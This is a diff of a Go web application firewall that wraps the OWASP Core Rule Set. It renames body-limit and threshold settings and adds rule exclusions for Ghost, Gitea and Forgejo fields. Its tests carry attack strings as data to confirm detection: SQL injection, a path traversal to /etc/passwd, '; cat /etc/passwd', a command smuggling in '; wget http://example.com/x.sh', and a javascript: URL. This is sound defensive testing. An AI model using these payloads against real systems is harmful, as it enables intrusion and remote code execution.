e.check("SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES",
@@ -1129,9 +1162,9 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) {
{"SWW_WAF_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)},
{"SWW_WAF_TAG_LIMIT_PERCENT", slices.ContainsFunc(
slices.Collect(maps.Keys(cfg.TagLimitPercent)), onlyLookupGives)},
{"SWW_WAF_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0},
{"SWW_WAF_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0},
{"SWW_WAF_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100},
{"SWW_WAF_ASN_BYTES_LIMIT_PERCENT", len(cfg.ASNBytesLimitPercent) > 0},
{"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT", len(cfg.CountryBytesLimitPercent) > 0},
{"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT", cfg.UnknownCountryLimitPercent < 100},
{"SWW_WAF_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""},
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0},
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0},
@@ -1150,7 +1183,7 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) {
// checkASNLimitPercentURL refuses SWW_WAF_ASN_LIMIT_PERCENT_URL naming a
// blocklist too: the file at a URL is fetched as one list or the other.
func (e *environment) checkASNLimitPercentURL(cfg *Config) {
func (e *environment) checkASNLimitPercentURL(cfg *WAF) {
if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) {
e.check("SWW_WAF_ASN_LIMIT_PERCENT_URL",
fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs))
@@ -1160,7 +1193,7 @@ func (e *environment) checkASNLimitPercentURL(cfg *Config) {
// checkCrowdSec refuses SWW_WAF_CROWDSEC_LAPI_URL without
// SWW_WAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
// that is fetched as another list too.
func (e *environment) checkCrowdSec(cfg *Config) {
func (e *environment) checkCrowdSec(cfg *WAF) {
decisionsURL := cfg.CrowdSecDecisionsURL
switch {
@@ -1186,7 +1219,7 @@ func (e *environment) checkCrowdSec(cfg *Config) {
// checkTagLists refuses a list of SWW_WAF_TAG_LISTS whose URL is fetched as
// another list too: the file at a URL is read as one kind of list.
func (e *environment) checkTagLists(cfg *Config) {
func (e *environment) checkTagLists(cfg *WAF) {
for _, list := range cfg.TagLists {
if slices.Contains(cfg.BlocklistURLs, list.URL) ||
list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL {
@@ -1201,7 +1234,7 @@ func (e *environment) checkTagLists(cfg *Config) {
// checkTags refuses a tag of SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT that would
// never apply: crowdsec, whose request is refused before tags are acted on, and
// any tag these settings cannot give a request.
func (e *environment) checkTags(cfg *Config) {
func (e *environment) checkTags(cfg *WAF) {
for _, tag := range cfg.TagDeny {
e.check("SWW_WAF_TAG_DENY", checkTag(cfg, tag))
}
@@ -1212,7 +1245,7 @@ func (e *environment) checkTags(cfg *Config) {
}
// checkTag returns an error when tag would never apply, as checkTags says.
func checkTag(cfg *Config, tag string) error {
func checkTag(cfg *WAF, tag string) error {
if tag == CrowdSecTag {
return fmt.Errorf("%q %w", tag, errCrowdSecTag)
}
@@ -1225,17 +1258,17 @@ func checkTag(cfg *Config, tag string) error {
}
// requestCanGetTag reports whether anything cfg sets up can give a request tag.
func requestCanGetTag(cfg *Config, tag string) bool {
func requestCanGetTag(cfg *WAF, tag string) bool {
isListName := func(list TagList) bool { return list.Name == tag }
if isLookupTag(tag) || slices.ContainsFunc(cfg.TagLists, isListName) {
return true
}
if tag == ExploitSignatureTag {
coreRuleSetOn := cfg.WAFMode != WAFModeOff &&
cfg.WAFAnomalyThreshold != 0
coreRuleSetOn := cfg.CoreRuleSetMode != CoreRuleSetModeOff &&
cfg.CoreRuleSetScoreThreshold != 0
return cfg.RulesEnabled || coreRuleSetOn
return cfg.RuleFilesEnabled || coreRuleSetOn
}
if tag == AbuseIPDBTag {
@@ -1256,14 +1289,14 @@ func requestCanGetTag(cfg *Config, tag string) bool {
// TagsNeedLookup reports whether SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT
// names an asn= or country= tag.
func (c *Config) TagsNeedLookup() bool {
func (c *WAF) TagsNeedLookup() bool {
return slices.ContainsFunc(c.TagDeny, isLookupTag) ||
tagLimitNeedsLookups(c)
}
// tagLimitNeedsLookups reports whether SWW_WAF_TAG_LIMIT_PERCENT names an asn=
// or country= tag.
func tagLimitNeedsLookups(cfg *Config) bool {
func tagLimitNeedsLookups(cfg *WAF) bool {
for tag := range cfg.TagLimitPercent {
if isLookupTag(tag) {
return true
@@ -1639,10 +1672,10 @@ func durationOrDays(value string) (time.Duration, error) {
return time.Duration(n) * day, nil
}
// parseWAFBodyLimit reads the most of a request body the Core Rule Set
// parseCoreRuleSetBodyInspectionSize reads the most of a request body the Core Rule Set
// reads: a size as parseSize reads it, or off, but at most 64K, since waf
// gets no more of a body than that.
func parseWAFBodyLimit(value string) (int64, error) {
func parseCoreRuleSetBodyInspectionSize(value string) (int64, error) {
limit, err := parseSize(value)
if err != nil {
return 0, err
File diff suppressed because it is too large. Load diff
+33 -31
View File
@@ -1,9 +1,9 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, with the five changes sww
// makes to it, the fixes for the apps SWW_WAF_APPS names, and the exclusions in
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
// in SPEC.md describes them. It reads no response.
// body while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, with the
// five changes sww makes to it, the fixes for the apps SWW_WAF_APPS names,
// and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack
// detection" under "Settings" in SPEC.md describes them. It reads no response.
//
// sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -34,8 +34,8 @@ import (
// directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, the exclusions file for the second,
// and the directives of every app in apps for the third.
// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, the exclusions file for
// the second, and the directives of every app in apps for the third.
// Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
@@ -43,7 +43,7 @@ import (
// without the spaces at the start of the next.
const directives = `
# The engine only detects. sww compares the request's anomaly
# score with SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD itself, in block and detect mode
# score with SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly
SecRequestBodyAccess Off
@@ -224,9 +224,10 @@ type Params struct {
// DisabledRules are the ids of the rules switched off
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
DisabledRules []int
// BodyLimit is the most of a request body the Core Rule Set reads
// (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
BodyLimit int64
// BodyInspectionSize is the most of a request body the Core Rule Set
// reads (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off
// and it reads none.
BodyInspectionSize int64
// ExclusionsFile is the path of a file of exclusions loaded before the
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none.
@@ -336,8 +337,8 @@ func checkExclusions(exclusions string) error {
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
// for concurrent use.
type CoreRuleSet struct {
engine coraza.WAF
bodyLimit int64
engine coraza.WAF
bodyInspectionSize int64
// appsByHostname are the names of the apps each hostname serves, by
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
appsByHostname map[string][]string
@@ -345,14 +346,14 @@ type CoreRuleSet struct {
// New returns the Core Rule Set with the five changes and the apps' fixes,
// at params' paranoia level, without the rules it switches off, reading
// request bodies up to params' limit, and with params' exclusions file
// loaded before the Core Rule Set's rules. An exclusions file is an error
// if it cannot be read or does not parse, or if checkExclusions refuses
// it.
// request bodies up to params' body inspection size, and with params'
// exclusions file loaded before the Core Rule Set's rules. An exclusions
// file is an error if it cannot be read or does not parse, or if
// checkExclusions refuses it.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyLimit > 0 {
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
if params.BodyInspectionSize > 0 {
body = fmt.Sprintf(bodyDirectives, params.BodyInspectionSize)
}
exclusions := ""
@@ -396,9 +397,9 @@ func New(params Params) (*CoreRuleSet, error) {
}
return &CoreRuleSet{
engine: engine,
bodyLimit: params.BodyLimit,
appsByHostname: params.Apps,
engine: engine,
bodyInspectionSize: params.BodyInspectionSize,
appsByHostname: params.Apps,
}, nil
}
@@ -481,18 +482,19 @@ func (c *CoreRuleSet) Inspect(
}
// readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set and the body is
// of a kind the Core Rule Set reads: form data and multipart, of which it
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
// when they are no longer than that, since they cannot be read in part.
// readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did.
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
// set and the body is of a kind the Core Rule Set reads: form data and
// multipart, of which it reads the first c.bodyInspectionSize bytes, and
// JSON and XML, which it reads only when they are no longer than that,
// since they cannot be read in part.
// readBody reads one byte past c.bodyInspectionSize, to tell which they
// are, gives the Core Rule Set what it reads, and returns what it read and
// the error that ended the reading early, if one did.
func (c *CoreRuleSet) readBody(
tx types.Transaction,
body io.Reader,
) ([]byte, error) {
if c.bodyLimit == 0 {
if c.bodyInspectionSize == 0 {
return nil, nil
}
@@ -509,9 +511,9 @@ func (c *CoreRuleSet) readBody(
return nil, nil
}
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
// Coraza holds what it reads of the body in memory, up to the
// limit, so this cannot fail.
_, _, _ = tx.WriteRequestBody(read)
+53 -36
View File
@@ -919,6 +919,10 @@ const retypeKey = "retype"
// system files (930120) holds.
const htaccess = ".htaccess"
// binSh is the shell path /bin/sh as a query or form value, which the rule for
// shell paths (932160) refuses.
const binSh = "%2Fbin%2Fsh"
// hardValues are words that name commands and files, as a query or form
// value. An app's tests check that its fields let them through.
//
@@ -1089,7 +1093,8 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
const workers, perBody = 16, 10
crs, err := loaderFor(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
})()
if err != nil {
return nil, err
@@ -1166,15 +1171,18 @@ func misfiringPasswords(t *testing.T) []string {
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := readingBodies(t)
misfiring := misfiringPasswords(t)
names := []string{name}
body := passwordBody(t, r, names, misfiring...)
if len(body) > bodyLimit {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
if len(body) > bodyInspectionSize {
t.Fatalf(
"a body of %d bytes is cut at bodyInspectionSize",
len(body),
)
}
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
@@ -1197,7 +1205,7 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
for _, attack := range []string{
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
@@ -1217,7 +1225,7 @@ func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
body := passwordBody(t, r, []string{name}, attack)
@@ -1307,7 +1315,7 @@ func TestGiteaPasswordsPass(t *testing.T) {
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := readingBodies(t)
@@ -1364,7 +1372,7 @@ func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
func TestPasswordExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := readingBodies(t)
@@ -1400,7 +1408,7 @@ func TestPasswordExclusionsAreNarrow(t *testing.T) {
func TestGiteaAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
@@ -1480,7 +1488,7 @@ func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(
}
// A command after a ";" in q is still refused on each of these paths.
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
for _, target := range []string{
"/alice?tab=repositories&q=",
@@ -1505,12 +1513,12 @@ const (
)
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_LIMIT.
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE.
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: 64<<10 - 1,
})
}
@@ -1572,7 +1580,7 @@ func wordpressAttackTargets(attack string) []string {
func TestWordPressAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
@@ -2310,8 +2318,9 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
wantBody(t, crs, signIn, body, matched(930120), body)
}
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies.
const bodyLimit = 8 << 10
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
// tests that read bodies.
const bodyInspectionSize = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads.
const (
@@ -2334,12 +2343,13 @@ const pathTraversal = "../../etc/passwd"
const shellCommand = "; wget http://example.com/x.sh"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit.
// default, but reading bodies up to bodyInspectionSize.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
})
}
@@ -2393,7 +2403,7 @@ func wantBody(
}
}
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
func TestBodiesAreReadOnlyWhileBodyInspectionSizeIsSet(t *testing.T) {
t.Parallel()
off, on := atDefaults(t), readingBodies(t)
@@ -2413,7 +2423,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
pad := strings.Repeat("a", bodyLimit)
pad := strings.Repeat("a", bodyInspectionSize)
for _, tc := range []struct{ header, attackFirst, attackLast string }{
{
@@ -2426,20 +2436,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
},
} {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyLimit+1])
tc.attackFirst[:bodyInspectionSize+1])
wantBody(
t,
crs,
post(tc.header),
tc.attackLast,
coreruleset.Result{},
tc.attackLast[:bodyLimit+1],
tc.attackLast[:bodyInspectionSize+1],
)
}
// To the byte: a system file's path is found when it ends at the limit,
// and not when its last letter is past it, which is still read.
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
wantBody(
t,
crs,
@@ -2449,7 +2459,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
atLimit,
)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
wantBody(
t,
crs,
@@ -2469,10 +2479,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
} {
fits := padded(tc.head, tc.tail, bodyLimit)
fits := padded(tc.head, tc.tail, bodyInspectionSize)
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyLimit+1)
larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
wantBody(
t,
crs,
@@ -2529,7 +2539,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
// Whatever its size: a JSON body larger than the limit is not read, but
// Content-Encoding on it is refused all the same.
larger := strings.Repeat("a", bodyLimit+1)
larger := strings.Repeat("a", bodyInspectionSize+1)
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
// It is allowed on a body of any other kind, and on every body while no
@@ -2748,7 +2758,7 @@ func giteaBranchNamesInBodies() []nameInBody {
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := readingBodies(t)
@@ -2849,7 +2859,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
// that has no colon, before the attack. They do so padded past the
// limit too, which cuts them in the padding.
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
pad := field("pad", strings.Repeat("a", bodyLimit))
pad := field("pad", strings.Repeat("a", bodyInspectionSize))
for _, tc := range []struct{ header, head string }{
{multipart + "; boundary=c", ""},
@@ -2867,7 +2877,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
body = tc.head + field("q", injection) + pad + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
body[:bodyLimit+1])
body[:bodyInspectionSize+1])
}
}
@@ -2880,7 +2890,10 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
cut := "--b\r\nContent-Di"
first := field(
"pad",
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
strings.Repeat(
"a",
bodyInspectionSize-len(field("pad", ""))-len(cut),
),
)
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
@@ -2890,7 +2903,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
post(multipart),
body,
matched(900440, 900450),
body[:bodyLimit+1],
body[:bodyInspectionSize+1],
)
}
@@ -2909,12 +2922,15 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
first := field(
"pad",
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
strings.Repeat(
"a",
bodyInspectionSize-len(field("pad", ""))-cut,
),
)
body := first + field("q", "1") + end
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
body[:bodyInspectionSize+1])
}
}
@@ -2929,7 +2945,8 @@ func TestCorazaWritesNoFile(t *testing.T) {
// The test loads its own Core Rule Set, since loading is part of what
// it checks.
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
@@ -2941,11 +2958,11 @@ func TestCorazaWritesNoFile(t *testing.T) {
wantBody(t, crs, post(multipart), body, matched(942100), body)
}
func TestBodyLimitOf1GLoads(t *testing.T) {
func TestBodyInspectionSizeOf1GLoads(t *testing.T) {
t.Parallel()
_, err := coreruleset.New(
coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30},
coreruleset.Params{ParanoiaLevel: 1, BodyInspectionSize: 1 << 30},
)
if err != nil {
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
+1 -1
View File
@@ -4,7 +4,7 @@
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
# set. The exclusions above the comment "The fields below are in bodies" also
# cover a body field of the same name whatever the query holds, and only those
# below it need a query without that name.
+1 -1
View File
@@ -9,7 +9,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// drupalThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
// drupalThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
const drupalThreshold = 5
// drupalAddArticle is Drupal's form for a new article.
+1 -1
View File
@@ -132,7 +132,7 @@ SecRule REQUEST_FILENAME "@streq /admin/repos" \
# They skip these rules:
# 932120: fix-powershell-module
# 932260: feat/docker-support
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, and skip
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, and skip
# nothing when the query has a parameter of the same name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
"id:900666,phase:1,pass,nolog,chain"
+3 -3
View File
@@ -91,7 +91,7 @@ var forgejoAttacks = []string{
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
@@ -113,7 +113,7 @@ func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
func TestForgejoExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
@@ -145,7 +145,7 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
"/alice/-/packages/npm/x?q=",
"/alice/tools/branches?other=",
} {
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
for _, value := range slices.Concat([]string{binSh}, hardValues) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
+286 -11
View File
@@ -3,11 +3,12 @@
# rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request a rule refused. An exclusion on a field of
# a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
#
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
# and members call /members/api/. Coraza names a field of a JSON body by its
# and members call /members/api/. The admin calls ActivityPub, a service of its
# own, under /.ghost/activitypub/. Coraza names a field of a JSON body by its
# path, so the title of the first post saved is json.posts.0.title.
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
@@ -17,11 +18,22 @@
SecRule &TX:app_ghost "@eq 0" \
"id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
# filter, a query in Ghost's own filter language, skips 932120 on the Admin API
# and the Content API: filter=tag:powershell, filter=name:~'powershell'.
# filter, a query in Ghost's own filter language, skips seven rules on the
# Admin API and the Content API:
# 932120: filter=tag:powershell, filter=name:~'powershell'
# 932125, 932230, 932250: filter=title:~'powershell & ls -la'
# 932235, 932260: filter=title:~'powershell & python3', which the admin's
# post picker sends when a person types that title
# 932380: filter=title:~'python3 & powershell'
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
"id:900350,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:filter"
ctl:ruleRemoveTargetById=932120;ARGS:filter,\
ctl:ruleRemoveTargetById=932125;ARGS:filter,\
ctl:ruleRemoveTargetById=932230;ARGS:filter,\
ctl:ruleRemoveTargetById=932235;ARGS:filter,\
ctl:ruleRemoveTargetById=932250;ARGS:filter,\
ctl:ruleRemoveTargetById=932260;ARGS:filter,\
ctl:ruleRemoveTargetById=932380;ARGS:filter"
# search, the search for a member by name or address, skips four rules on the
# Admin API:
@@ -45,10 +57,61 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The fields a person types plain text into skip seven rules on the Admin API:
# The query fields that filter the analytics skip the eight rules that 900353
# lists, on /ghost/api/admin/stats/:
# 932120: source=powershell.example.com
# 932235, 932260: utm_campaign=powershell & python3
# 932250: utm_term=ls -la
# These fields filter the figures by the site a visit came from, or a
# campaign: source, utm_source, utm_medium, utm_campaign, utm_content and
# utm_term.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
"id:900367,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/"
# pathname, the page the analytics show, skips three rules on
# /ghost/api/admin/stats/, which refused the path of a post and of tag pages:
# 930120: pathname=/tag/proc/
# 932120: pathname=/python3-and-powershell/
# 932260: pathname=/tag/python3/
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
"id:900385,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:pathname,\
ctl:ruleRemoveTargetById=932120;ARGS:pathname,\
ctl:ruleRemoveTargetById=932260;ARGS:pathname"
# email_segment, the members a post is sent to as a newsletter, skips 932120
# on the Admin API's posts: email_segment=label:powershell-users.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
"id:900368,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
# query, a search for an account in ActivityPub, skips the eight rules that
# 900353 lists: query=python3, query=@powershell@example.com.
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
"id:900369,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:query,\
ctl:ruleRemoveTargetById=932120;ARGS:query,\
ctl:ruleRemoveTargetById=932125;ARGS:query,\
